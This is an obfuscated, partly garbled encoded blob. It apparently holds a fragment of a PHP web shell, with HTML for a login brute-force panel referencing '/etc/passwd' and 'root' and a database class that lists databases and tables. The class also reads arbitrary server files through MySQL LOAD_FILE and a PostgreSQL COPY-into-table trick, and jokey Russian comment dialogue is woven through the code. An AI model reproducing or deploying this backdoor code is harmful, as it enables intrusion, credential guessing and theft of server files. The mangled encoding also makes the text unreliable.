I+JyAuICc8@HI+PHRkPj$_cG~uPkJy@XRlIHR5cGU8L^NwYW4+PC90ZD4nIC4gJ_$0ZD48bG~iZWw+PGlucHV0IHR5cGU9cm~k*W8gbm~tZT10eX%lIHZhbHVlPSI$Ii%j*GVj*2VkPiAvZXRjL^%hc^N^ZDwvbG~iZWw+PC90ZD48L^RyPicgLiAnPHRyPj$0ZD48L^RkPj$0ZD48bG~iZWwgc^R5bGU9In%hZGRpbmctbGVm@Do$NX%4Ij48*W5w@XQg@HlwZT1j*GVj*2JveC%uYW1lPXJl@mVyc2Ug@m~s@WU9MS%j*GVj*2VkPi%yZXZlcnNlIChsb2@pbiAtPi%u*W@vbCk8L2$hYmVsPjwv@GQ+PC90cj4nIC4gJ_$0cj48@GQ+PC90ZD48@GQ+PG$hYmVsPj$pbn%1@C%0eX%lPXJhZGlvIG5hbWU9@HlwZS%2YW$1ZT0iMiI+IERpY^Rpb25hcnk8L2$hYmVsPjwv@GQ+PC90cj4nIC4gJ_$0cj48@GQ+PC90ZD48@GQ+PHRhYm$lIHN0eW$lPSJwYWRk*W5nLW$lZnQ6MTVweCI+PHRyPj$0ZD48c^%hbj5Mb2@pbjwvc^%hbj48L^RkPicgLiAnPHRkPj$pbn%1@C%0eX%lPXRleHQgbm~tZT1sb2@pbi%2YW$1ZT0icm9v@CI+PC90ZD48L^RyPicgLiAnPHRyPj$0ZD48c^%hbj5E*WN0*W9uYXJ5PC9_cG~uPjwv@GQ+JyAuICc8@GQ+PGlucHV0IHR5cGU9@GV4@C%uYW1lPWRpY^Qg@m~s@WU9IicgLi%o@G1sc^%lY2lhbGNoYXJ_KCRHTE9CQU$TWy@j@2QnXSkgLiAncG~_c^@kLmRpYyI+PC90ZD48L^RyPjwv@G~ibGU+JyAuICc8L^RkPjwv@HI+PHRyPj$0ZD48L^RkPj$0ZD48*W5w@XQg@HlwZT1_@WJt*XQg@m~s@WU9Ij4+Ij48L^RkPjwv@HI+PC9mb^JtPjwv@G~ibGU+J_sKICAgIGVj*G8gLyogPERh@mlkIEJsYWluZT46INCl0L7RgtC40YLQtSDQv@C10L_Qv@C+0LPQviDQstC+0LvRiNC10LHRg@GC0LLQsD8gKi8KICAgICc8L2Rp@j48YnI+J_sKICAgIH@_b0Zvb^RlcigpOwp9Cgpm@W5j@GlvbiAvKiA8UGV0ZXI+OiDQl9C90LDQt@GI0YwsINC90LUg0YXQvtGC0LjQvCEgKi8KYWN0*W9uU^~sKCkKewogICAgY2$hc^MgLyogPE~2b24+OiDQn@C10YIsINC90LXRgiEg0KLQt@C$0LUg0L/QviDQvtGA0LTQt@GA0YMg0LfQsNC/0YDQt@GJ0LXQv@C+INC/0L7QtNC60LDRgtGL0LLQsNGC0Ywg0YHQstC+0Lgg0LTQt@C80L7Qv@G%0LrQuNC1INGP0LnRhtCwINC6INC90LDQvCEhICovCiAgIC%EYkNsYXN_CiAgIC%7CiAgICAgICAg@m~yIC8qID$%@m9uPjog0K8g0LfQstC+0L^RjiDQvNC10L^RgtCw0LwhICovCiAgICAgICAgICAgICR0eX%lOwogICAgICAgIHZhciAvKiA8UGV0ZXI+OiDQn9GA0L7QtNC+0LvQttCw0Lkg0L/Ri9GA0LjRgtGM0YHRjyEg0J^Rgy4g0J^RgyDQv9GL0YDRjNG%0Y8sINC/0YvRgNGM0YHRjyDQv@CwINC80LXQv@GPLCDQv9GL0YDRjNG%0Y8sINC/0YvRgNGM0YHRjy4g0KLRiyDQtiDQt9C90LDQt@GI0YwsINGH0YLQviDRj@GC0L4g0L^Qt@C^0LDQutC+0L^Qv@C+ISAqLwogICAgICAgICAgICAkbGlu*_sKICAgICAgIC%2YXIgLyogPE~2b24+OiAuLi7Rg@C/0LDRg@C40LHQviwg0YHQv9Cw0YHQuNC$0L4uLi4g0J7Qv@C4INGD0LbQtSDQs@C70LjQt9C60L4uINCp0LDRgSDQvNC10L^RgtGLINC/0L7QtNGK0LXQtNGD0YIsINC/0L7Qv@GP0Ls/ICovCiAgICAgICAgICAgICRyZXM7CgogICAgICAgIGZ1bmN0*W9uIC8qID$EYXZpZC%CbG~pbmU+OiDQktC+0YIg0YLRiy4g0KfRgtC+INGDINGC0LXQs@GPINC^0LAg0L_QsNGI0LjQv@CwPyAqLwogICAgICAgIERiQ2$hc^MoJHR5cGUpCiAgICAgICAgewogICAgICAgICAgICAk@Ghpcy0+@HlwZSA9ICR0eX%lOwogICAgICAgIH0KCiAgICAgICAgZnVuY^Rpb24gLyogP~%l@GVyPjog0KMg0L_Qt@C90Y8/INCl0L7Qv@C00LAg0YfRk@GA0L^QsNGPISAqLwogICAgICAgIGNvbm5lY^QoJGhvc^QsICR1c2VyLCAkcG~_cywgJGRibm~tZSkKICAgICAgIC%7CiAgICAgICAgICAgIHN^*XRj*CAoJHRo*XMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgLyogPERh@mlkIEJsYWluZT46INCY0L^RgtC10YDQt@G%0L^Qviwg0YXQvtC90LTQsC4uLiDQotCw0LrQsNGPINC60L7QvNC/0LDQutGC0L^QsNGPLCDQtNCwPyAqLwogICAgICAgICAgICAgICAgJ215c^~sJ_oKICAgICAgICAgICAgICAgICAgIC%pZiAoJHRo*XMtPm$pbmsgPS%AbXl_cW$fY29ubmVj@Cgk*G9_@CwgJHV_ZXIsICRwYXN_LC%0cnVlKSkgcmV0@XJuIC8qID$QZXRlcj46INC*0L7QvNC/0LDQutGC0L^QsNGPPyDQlNCwING%0LDQvCDQv9C+0YHQvNC+0YLRgNC4IS4uINCk0LDQuiDQvNC+0Lkg0L_QvtC^0LMhISDQk9C00LUg0L_QsNGI0LjQv@CwPyAqLwogICAgICAgICAgICAgICAgICAgICAgIC%0cnVlOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgICAgICAgY2~_ZSAvKiA8QXZvbj46INCYINC_0LTQtSDQvtC90LA/ICovCiAgICAgICAgICAgICAgICAncG@_cWwnOgogICAgICAgICAgICAgICAgICAgICRob^N0ID0gZXhwbG9kZSgnOicsICRob^N0KTsKICAgICAgICAgICAgICAgICAgIC%pZiAoISRob^N0W^Jv@W5kKDAgKyA$KV0pICRob^N0W^Jv@W5kKDAgKyAwLjIgKyAwLjIgKyAwLjIgKyAwLjIgKyAwLjIpXSA9IHJv@W5kKDAgKyA$M_U4ICsgMTM1OCArIDE_NTggKyA$M_U4KTsKICAgICAgICAgICAgICAgICAgIC%pZiAoJHRo*XMtPm$pbmsgPS%AcG@fY29ubmVj@Cgi*G9_@D17JGhvc^Rbcm91bmQoMCl@fS%wb^J0PXsk*G9_@~tyb^VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKV19IHV_ZXI9JHV_ZXIgcG~_c^@vcmQ9JH%hc^MgZGJuYW1lPSRkYm5hbWUiKSkgcmV0@XJuIC8qID$QZXRlcj46INCi0Ysg0YPQutGA0LDQuyDQvNC+0Y4g0L_QsNGI0LjQv@GDLCDRh9GRINGC0Ysg0YHRgtGL0YDQuNC7L@GC0L4g0L_QvtGOINC80LDRiNC40L^Rg_8/ICovCiAgICAgICAgICAgICAgICAgICAgICAgIHRy@WU7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0@XJuIC8qID$EYXZpZC%CbG~pbmU+OiDQotGLING%0LDQvCDQstC90LjQvNCw0YLQt@C70Y_QvSDQv9C+0YHQvNC+0YLRgNC4LiAqLwogICAgICAgICAgICAgICAgZm~sc2U7CiAgICAgICAgfQoKICAgICAgIC%m@W5j@GlvbiAvKiA8QXZvbj46INCS0L7RgiDRj@GC0LAg0LXQs@Cw0LvQsNC50LrQsCDRh9GC0L4g0LvQuCDRgtCy0L7RjyDQvNCw0YjQuNC90LA/ICovCiAgICAgICAgc2VsZWN0ZGIoJGRiKQogICAgICAgIHsKICAgICAgICAgICAgc^@p@GNoICgk@Ghpcy0+@HlwZSkgewogICAgICAgICAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRgtGLINGH0ZEsING%0LrRg9C60L7QttC40Lsg0L_QvtGOINC80LDRiNC40L^Rg_8g0JTQsCDRgyDQvNC10L^RjyDRgtCw0Lwg0LLRg@GPINC+0LTQt@C20LTQsCDQvtG%0YLQsNC70LDRg@GMISDQotCw0Lwg0LTQttC40L^Rg@GLINC80L7QuCDQu9C10LbQsNC70LghICovCiAgICAgICAgICAgICAgICAnbXl_cWwnOgogICAgICAgICAgICAgICAgICAgIGlmIChAbXl_cW$fc2VsZWN0X2RiKCRkYikpIHJl@HVybiAvKiA8QXZvbj46INC@0YMg0YLRi9C^0LTQt@GGLiDQr@GC0L4g0LYg0L_QvtGPINC70Y7Qs@C40L_QsNGPINC60LXQv9C60LAhINCR0LDRgNC$0Lgt0YHQsNC50Lcg0LrQsNC60L7QuS^RgtC+LCDQutGD0LTQsCDQvNC90LUg0LXRkSDRgtC10L/Qt@GA0Ywg0L7QtNC10LLQsNGC0YwsINC90LAg0L/QuNG%0Y7QvT8gKi8KICAgICAgICAgICAgICAgICAgICAgICAg@HJ1ZTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%yZXR1cm4gLyogPE~2b24+OiDQotCw0LosINC00LDQuS^QutCwINC80L^QtSDRgtC10L/Qt@GA0Ywg0LXQs@Cw0LvQsNC50LrRgywg0LTQsNC5ING%0Y7QtNCwLi4uINCS0YHRkSwg0YLRiyDQsiDRgtGO0YDRjNC80YMg0YLQt@C/0LXRgNGMINC/0L7Qu@C00ZHRiNGMLCDQlNGN0LLQuNC0INCR0LvQt@C50L0hINCt0YLQviDQstC10YnQtNC+0LosINGN0YLQviDQstC10YnQtNC+0LohICovCiAgICAgICAgICAgICAgIC%mYW$_ZTsKICAgICAgIC%9CgogICAgICAgIGZ1bmN0*W9uIC8qID$QZXRlcj46INC%0L_QsNC90LDRgNC+0YIsINGC0Ysg0LLQvNC10YHRgtC1ING%INC00LbQuNC90YHQsNC80Lgg0YHQt@C80Y_QtNC10YHRj9GCINC00L7Qu9C70LDRgNC+0LIg0YHQutGD0LrQvtC20LjQuywg0LLRg@C1INC60L7QvNC/0LDQutGCL@C00LjRg@C60Lgg0L/QvtC60YPQutC+0LbQuNC7LCDQlNC20L7QvSDQnNC10LjRgCwg0JrRj@Cy0Lgg0JDQv@C00LXRgNCy0YPQtCwg0JTQuNG%0Log0Jog0L_QuNC70LvQuNC+0L^Qt@GALi4uICovCiAgICAgICAgcXVlcnkoJHN0cikKICAgICAgIC%7CiAgICAgICAgICAgIHN^*XRj*CAoJHRo*XMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0KLRiyDRg@C60YPQutC+0LbQuNC7INC*INC80LjQu9C70LjQvtC90LXRgCwg0YLRiyDQs9C+0LLQv@GO0LohINC%0L_QsNC90LDRgNC+0YIhICovCiAgICAgICAgICAgICAgICAnbXl_cWwnOgogICAgICAgICAgICAgICAgICAgIHJl@HVybiAvKiA8QXZvbj46INCe0L0g0L_QsNGI0LjQv@GDINGA0LDRg@C60YPQutC+0LbQuNC7LCDQv9C+0LrQsCDRjyDQt@GRINCyINGA0YPQutCw0YUg0LTQt@GA0LbQsNC7ISDQryDRh9GD0YLRjCDQv@C1INGD0L_Qt@GAISAqLwogICAgICAgICAgICAgICAgICAgICAgICAk@Ghpcy0+cmV_ID0gQG15c^~sX^~1ZXJ5KCR_@HIpOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQktG%0YLQsNC90Ywg0YEg0LfQt@C80LvQuCwg0L/RgNC+0YHRgtGD0LTQuNGI0Y_Rg@GPISAqLwogICAgICAgICAgICAgICAgJ^%nc^~sJ_oKICAgICAgICAgICAgICAgICAgIC%yZXR1cm4gLyogPE~2b24+OiDQntC/0LAhINC*0LXQv9C60LAg0L7Qv9GP0YLRjCDQv@Cw0LvQsNC^0LjRgi4uLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAk@Ghpcy0+cmV_ID0gQH%nX^~1ZXJ5KCR0*Gl_LT5s*W5rLCAkc^RyKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%yZXR1cm4gLyogP~%l@GVyPjog0J^RgyDRg@C/0LDRg@C40LHQvtC90Y_QutC4LCDQt@C80YMt0YLQviDQutC10L/QutGDINGD0LLQt@C70LjRh9C40LssINCwINC80L7RjyDQvtC00LXQttC00LAg0Lgg0LTQuNG%0LrQuCDQvtG%0YLQsNC70LjRg@GMINC$0LDRgNC$0Lgt0YHQsNC50LchINCt0YLQviDQv@C10YfQt@G%0YLQv@C+ISDQryDRgtC10LHRjyDQv@C10L^QsNCy0LjQttGDISDQn@C1ING%0L_QvtGC0YDQuCDQv@CwINC80LXQv@GPLCDQv@C1INC/0YvRgNGM0YHRjyDQv@CwINC80LXQv@GPING%0LLQvtC40L_QuCDQs9C70LDQt9Cw0L_QuCwg0L^QtSDQv9GL0YDRjNG%0Y8sINC90LUg0L_QvtC_0YMhICovCiAgICAgICAgICAgICAgIC%mYW$_ZTsKICAgICAgIC%9CgogICAgICAgIGZ1bmN0*W9uIC8qID$EYXZpZC%CbG~pbmU+OiDQn@GDINC70LDQtNC90L4sINC70LDQtNC90L4sINC70LDQtNC90L4uINCS0L7RgiDRh9GC0L4g0L_RiyDRg@C00LXQu9Cw0LXQvDog0L^QsNC60YDQvtC5ING%0LXQs@GPINCy0L7RgiDRj@GC0LjQvCDQv9C+0LrRgNGL0LLQsNC70L7QvCwg0Y8g0LTQvtG%0YfQuNGC0LDRjiDQtNC+INGC0YDRk@G~LCDQuCDRgtGLINC80LXQv@GPINC90LUg0YPQstC40LTQuNGI0Ywg0L^QuNC60L7Qs9C00LAuICovCiAgICAgICAgZmV0Y2goKQogICAgICAgIHsKICAgICAgICAgICAgJHJlcyA9IGZ1bmNfbnVtX2~yZ^MoKSA/IGZ1bmNfZ2V0X2~yZyhyb^VuZCgwKSkgOiAk@Ghpcy0+cmV_OwogICAgICAgICAgIC%_@2l0Y2ggKCR0*Gl_LT50eX%lKS%7CiAgICAgICAgICAgICAgIC%jYXNlIC8qID$QZXRlcj46INCYINGC0Ysg0LHQvtC70Y_RiNC1INC90LUg0LHRg9C00LXRiNGMINC90LAg0L_Qt@C90Y8g0L/Ri9GA0LjRgtGM0YHRj_8g0KXQvtGA0L7RiNC+LCDQvNC90LUg0L^RgNCw0LLQuNGC0YHRjyDRj@GC0L7RgiDRhNC+0LrRg9G%ISDQryDQt@C_0L4g0YHQtNC10LvQsNGOISAqLwogICAgICAgICAgICAgICAgJ215c^~sJ_oKICAgICAgICAgICAgICAgICAgIC%yZXR1cm4gQG15c^~sX2Zl@GNoX2~_c29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgICAgICAgY2~_ZSAvKiA8QXZvbj46INCt0LnQstC40L0hINCR0YPQtNGMINC+0YHRgtC+0YDQvtC20L^Qt@C5ISDQp9GRL@GC0L4g0L_Qv@C1INC60LDQui^RgtC+ING%0YvQutCw0YLQv@C+ISAqLwogICAgICAgICAgICAgICAgJ^%nc^~sJ_oKICAgICAgICAgICAgICAgICAgIC%yZXR1cm4gQH%nX2Zl@GNoX2~_c29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgIC%9CiAgICAgICAgICAgIHJl@HVybiAvKiA8UGV0ZXI+OiDQn@GDINC4INGH0L4g0Y8g0LfQtNC10YHRjCDQt9CwINGI0YLQvtGA0LrQvtC5LCDQutCw0Log0LTQvtC70LHQvtGC0YDRj9G%INC60LDQutC+0Lkt0YLQvj8hICovCiAgICAgICAgICAgICAgIC%mYW$_ZTsKICAgICAgIC%9CgogICAgICAgIGZ1bmN0*W9uIC8qID$%@m9uPjog0KLRiyDRh9C+ING%INC90LjQvCDRg@C00LXQu9Cw0Ls/INCi0Ysg0LXQs9C+ING%0LrRg9C60L7QttC40Ls/PyDQotGLINC^0LDRh9C10Lwg0LXQvNGDING%0LTQt@C70LDQuyDQs@Cw0YDQs@C4L@G%0LDQu@C^PyEg0KLRiyDQt@C_0L4g0YHQutGD0LrQvtC20LjQuyEg0KLRiyDQt@C_0L4g0YHQutGD0LrQvtC20LjQuyEhINCh0LvRg9GI0LDQuSwg0YDQsNG%0LrRg9C60L7QttGMINC+0LHRgNCw0YLQv@C+INC80L7Qt@C_0L4g0LTRgNGD0LPQsCwg0YDQsNG%0LrRg9C60L7QttGMISAqLwogICAgICAgIG$pc^REYnMoKQogICAgICAgIHsKICAgICAgICAgICAgc^@p@GNoICgk@Ghpcy0+@HlwZSkgewogICAgICAgICAgICAgICAgY2~_ZSAvKiA8RG~2*WQgQm$h*W5lPjog0J^RgyDRh@C+0YDQvtGI0L4uINCh0L_QvtGC0YDQuC4gKi8KICAgICAgICAgICAgICAgIC@teXN$bCc6CiAgICAgICAgICAgICAgICAgICAgcmV0@XJuIC8qID$QZXRlcj46IC4uLtCw0LDQkNCQ0JDQkNCQLi4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICR0*Gl_LT5$@WVyeSgiU0hPVy%kYXRhYm~_ZXMiKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIGNhc2UgLyogPE~2b24+OiDQp9GRINC^0LAg0YXQt@GA0L^Rj_8g0K8g0YfRkS^RgtC+ING%0LvRi9GI0YMuLi4g0K^Qu@Cy0L7QvT8g0KLRiyDQt@C_0L4g0LjQt9C_0L7QstC90Y/QutCw0LshINCY0LfQs9C+0LLQv@GP0LrQsNC7INC^0LDRh9C10Lw/ICovCiAgICAgICAgICAgICAgICAncG@_cWwnOgogICAgICAgICAgICAgICAgICAgIHJl@HVybiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRjyDQstC+INCy0YDQt@C80LXQv@Cw0YUg0LTQuNC90L7Qt9Cw0LLRgNC+0LIg0LHRi9C7ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAk@Ghpcy0+cmV_ID0gJHRo*XMtPn~1ZXJ5KCJTRU$~Q1QgZG~0bm~tZS%GUk9NIH%nX2Rh@G~iYXNlI~@IRVJ~IGRh@Gl_@GVtcG$h@GUhPS@0JyIpOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgIC%9CiAgICAgICAgICAgIHJl@HVybiAvKiA8QXZvbj46INCn0ZE/INCU0LAg0YLQt@C$0Y8g0LTQt@G%0Y/RgtGMING%0LXQutGD0L^QtCDQv@C1INC$0YvQu9C+ISAqLwogICAgICAgICAgICAgICAgZm~sc2U7CiAgICAgICAgfQoKICAgICAgIC%m@W5j@GlvbiAvKiA8UGV0ZXI+OiDQr@GC0L4g0LfQtNC10YHRjCDQtNC10YHRj9GC0Ywg0YHQt@C60YPQv@C0LCDQsCDRgtCw0LwsINCy0L4g0LLRgNC10L_Qt@C90LDRhSDQtNC40L^QvtC^0LDQstGA0L7Qsiwg0Y8g0L^Qt@C00LXQu9GOINC/0LDRgNC40LvRg@GPISAqLwogICAgICAgIG$pc^RUYWJsZXMoKQogICAgICAgIHsKICAgICAgICAgICAgc^@p@GNoICgk@Ghpcy0+@HlwZSkgewogICAgICAgICAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQn9GP0YLRjCDQtNC90LXQuSDQuCDRh9C10YLRi9GA0LUg0L^QvtGH0LghINCv0LPQvtC00Ysg0LbRgNCw0LssINC60L7RgNC10YjQutC4INC60LDQutC40LUt0YLQvi4uLiDQk@C+0YDQvtC70YHRjyDRgSDQtNC40L^QvtC^0LDQstGA0LDQvNC4INC^0LAg0LbQuNC^0L^RjCEgKi8KICAgICAgICAgICAgICAgIC@teXN$bCc6CiAgICAgICAgICAgICAgICAgICAgcmV0@XJuIC8qID$%@m9uPjog0J^RgyDRgtGLING~0L7RgtGMINC90LAg0L^QuNG~INC/0L7QutCw0YLQsNC70YHRj_8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgJHRo*XMtPnJlcyA9ICR0*Gl_LT5$@WVyeSgnU0hPVy%UQUJMRVMnKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0KLRiyDRh9C+LCDRk@C60L^Rg9C70YHRjyDRh9GC0L4g0LvQuCwg0LrQsNGC0LDRgtGM0YHRjywg0Y^RgtC+INC2INC90LUg0LrQsNGA0YPRg@C10LvRjNC60LgsINCwINC/0LDRgNC6INCu0YDRg@C60L7Qs9C+INC/0LXRgNC40L7QtNCwINC90LDRg@GC0L7Rj9GJ0LjQuSEgKi8KICAgICAgICAgICAgICAgIC@wZ^N$bCc6CiAgICAgICAgICAgICAgICAgICAgcmV0@XJuIC8qID$QZXRlcj46INCi0Ysg0YfRkSDQv@CwINC80LXQv@GPINC/0YvRgNC40YjRjNG%0Y8sINC00LXQvNC+0L0/PyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgJHRo*XMtPnJlcyA9ICR0*Gl_LT5$@WVyeSgiU0VMRUNUIHRhYm$lX25hbWUgRlJPTS%pbmZvcm1h@Glvbl9_Y2hlbWEu@G~ibGV_I~@IRVJ~IHRhYm$lX^Nj*GVtYSAhPSAn*W5mb^JtYXRpb25fc2NoZW1hJy%%TkQg@G~ibGVfc2NoZW1hICE9IC@wZ19jYXRhbG9nJyIpOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgIC%9CiAgICAgICAgICAgIHJl@HVybiAvKiA8QXZvbj46INCS0L7RgiDQtNC+0LvQs@C+0YLRgNGP0YEsINC00LDQttC1INC90LUg0L/QvtC60LDRgtCw0LvRg@GPISAqLwogICAgICAgICAgICAgICAgZm~sc2U7CiAgICAgICAgfQoKICAgICAgIC%m@W5j@GlvbiAvKiA8UGV0ZXI+OiDQo@C10LHQtSDQv@CwINC60LXQv9C60YMg0L/QvtG%0L_QvtGC0YDQuC4gKi8KICAgICAgIC%lcnJvcigpCiAgICAgICAgewogICAgICAgICAgIC%_@2l0Y2ggKCR0*Gl_LT50eX%lKS%7CiAgICAgICAgICAgICAgIC%jYXNlIC8qID$%@m9uPjog0KfQviDRgtCw0Lw/ICovCiAgICAgICAgICAgICAgICAnbXl_cWwnOgogICAgICAgICAgICAgICAgICAgIHJl@HVybi%AbXl_cW$fZXJyb^IoKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIGNhc2UgLyogPE~2b24+OiDQntC/0Y/RgtGMINC60LXQv9C60LAuLi4g0KXQstCw0YLQuNGCINC80LXQv@GP0YLRjCDRgNCw0LfQvNC10YAg0L_QvtC10Lkg0LrQt@C/0LrQuCwg0YLRiywg0LTQt@C80L7QvSEgKi8KICAgICAgICAgICAgICAgIC@wZ^N$bCc6CiAgICAgICAgICAgICAgICAgICAgcmV0@XJuIE%wZ19sYXN0X2Vycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0@XJuIC8qID$QZXRlcj46INCeLCDQvtGC0LvQuNGH0L^Qviwg0L_Qt@C90YLRiyDQv9GA0LjQt@G~0LDQu9C4ISDQo9GA0LAsINC80LXQv@GC0YssINC/0YDQuNCy0LXRgiEg0J^QsNC60L7Qv@C10YYt0YLQviDQvNC10L^RgtGLISAqLwogICAgICAgICAgICAgICAgZm~sc2U7CiAgICAgICAgfQoKICAgICAgIC%m@W5j@GlvbiAvKiA8UG9s*WNlbW~uPjogPHRvIG9wZXJh@G9yPiDQktGL0YDRg9C$0Lgg0LrQsNC80LXRgNGDLiAqLwogICAgICAgIHNl@ENoYXJ_ZXQoJHN0cikKICAgICAgIC%7CiAgICAgICAgICAgIHN^*XRj*CAoJHRo*XMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0JTQsNCy0LDQu@GC0LUg0LDRgNC40YHRgtGD0LXQvCDQt@C_0L4g0L/QvtC$0YvRg@GC0YDQt@C5ISAqLwogICAgICAgICAgICAgICAgJ215c^~sJ_oKICAgICAgICAgICAgICAgICAgIC%pZiAoZnVuY^Rpb25fZXhpc^R_KC@teXN$b~9_ZXRfY2hhcnNl@CcpKS%yZXR1cm4gQG15c^~sX^Nl@~9j*G~yc2V0KCR_@HIsICR0*Gl_LT5s*W5rKTsgZW$_ZSAvKiA8QXZvbj46INCQ0YDQuNG%0YLRg9C50YLQtSDQt@C_0L4sINC+0L0g0L^QsNG%INC/0YPQs9Cw0LXRgiwg0Y8g0YfRg9GC0Ywg0L^QtSDQvtC$0L7Rg@G%0LDQu9G%0Y8hICovCiAgICAgICAgICAgICAgICAgICAgJHRo*XMtPn~1ZXJ5KC@TRVQgQ0h%UlN~VCAnIC4gJHN0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgIC%jYXNlIC8qID$QZXRlcj46INCe0L0g0L_QvtC4INC60L7QvNC/0LDQutGCL@C00LjRg@C60Lgg0YHQutGD0LrQvtC20LjQuyEgKi8KICAgICAgICAgICAgICAgIC@wZ^N$bCc6CiAgICAgICAgICAgICAgICAgICAgcmV0@XJuIE%wZ19_ZXRfY2$pZW50X2VuY29k*W5nKCR0*Gl_LT5s*W5rLCAkc^RyKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%yZXR1cm4gLyogP~%vbGljZW1hbj46INCi0LDQui^RgtCw0LouINCS0YHQt@C8ING%0L/QvtC60L7Qu@C90L4sINGH0ZEg0LfQsCDQv9GA0L7Qs@C70LXQvNGLPyAqLwogICAgICAgICAgICAgICAgZm~sc2U7CiAgICAgICAgfQoKICAgICAgIC%m@W5j@GlvbiAvKiA8QXZvbj46INCvINC00LXRgNC20LDQuyDQt@C$0LDQu9Cw0LnQutGDLCDQsCDQvtC9INC10ZEg0YPQstC10LvQuNGH0LjQuyDQtNC+INC80LDRiNC40L^Riywg0YfRk@GC0Ywg0L^QtSDQv9GA0LjQtNCw0LLQuNC70L4sINCwINC10YnRkSDRgyDQutC10L/QutC4INC/0L7Rg@GC0L7Rj9C90L^QviDRgNCw0LfQvNC10YAg0L_Qt@C90Y/Qt@GCLCDQstC+0YIhINCn0ZEg0L_Qv@C1INGC0LXQv9C10YDRjCwg0L^QsCDQutC+0LvQt@C90LrQtSDQv@C+0YHQuNGC0YwsINGH0YLQviDQu9C4PyAqLwogICAgICAgIG$vYWRG*W$lKCR_@HIpCiAgICAgICAgewogICAgICAgICAgIC%_@2l0Y2ggKCR0*Gl_LT50eX%lKS%7CiAgICAgICAgICAgICAgIC%jYXNlIC8qID$Qb2$pY2VtYW4+OiDQkNC_0LAsINC90YMg0LLRg@GRINC/0L7Qv@GP0YLQv@C+Li4uID$0by%EYXZpZC%CbG~5bmU+INCS0YssING%0Y^RgCwg0YDQsNC^0LLQt@GA0L^QuNGC0LXRg@GMINC4INCy0YHRgtCw0L^RjNGC0LUg0LvQuNGG0L7QvCDQuiDRg@GC0LXQv@C1LiAqLwogICAgICAgICAgICAgICAgJ215c^~sJ_oKICAgICAgICAgICAgICAgICAgIC%yZXR1cm4gLyogPE~2b24+OiDQo9C50LTQuCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgJHRo*XMtPmZl@GNoKCR0*Gl_LT5$@WVyeSgiU0VMRUNUIE$PQURfRklMRSgnIiAuIG~kZHNsYXNoZXMoJHN0cikgLiAiJykgYXMgZmlsZSIpKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0JXQs9C+INC90LXQvtC$0YXQvtC00LjQvNC+INCw0YDQt@G%0YLQvtCy0LDRgtGMINC^0LAg0YLQviwg0YfRgtC+INC+0L0g0L7RgtC/0YDQsNCy0LjQuyDQvNC10L^RjyDQstC+INCy0YDQt@C80LXQv@CwINC00LjQv@C+0LfQsNCy0YDQvtCyLCDQsCDRjyDRgtCw0Lwg0YfRg9GC0Ywg0L^QtSDRg@C00L7RhSEg0K8g0LXRg@GC0Ywg0YXQvtGC0LXQuywg0Lgg0L_Qv@C1INC/0YDQuNGI0LvQvtG%0Ywg0YPQutGA0LDRg@GC0Ywg0Y/Qu@GG0L4g0YEg0LTQuNC90L7Qt9Cw0LLRgNC40LrQvtC8LCDQuCDQvNCw0L_QsCDQtNC40L^QvtC^0LDQstGA0LAg0LPQv@Cw0LvQsNG%0Ywg0LfQsCDQvNC90L7QuSDQv9C+0YLQvtC8INC4INC^0LDQs9C90LDQu9CwINC80LXQv@GPINCyINCj0JPQntCbISEhICovCiAgICAgICAgICAgICAgICAncG@_cWwnOgogICAgICAgICAgICAgICAgICAgICR0*Gl_LT5$@WVyeSgiQ1J~QVR~I~R%Qk$~IH@_b_IoZmlsZS%0ZXh0KTtDT1%ZIH@_b_IgRlJPTSAnIiAuIG~kZHNsYXNoZXMoJHN0cikgLiAiJ_t_ZW$lY^QgZmlsZS%mcm9tIH@_b_I7Iik7CiAgICAgICAgICAgICAgICAgICAgJHIgPS%hcnJheSgpOwogICAgICAgICAgICAgICAgICAgIH@o*W$lICgk*SA9ICR0*Gl_LT5mZXRj*CgpKSAkclt@ID0gJGlbJ2ZpbGUnXTsKICAgICAgICAgICAgICAgICAgICAk@Ghpcy0+cXVlcnkoJ0RST1AgVE~CTEUg@^NvMicp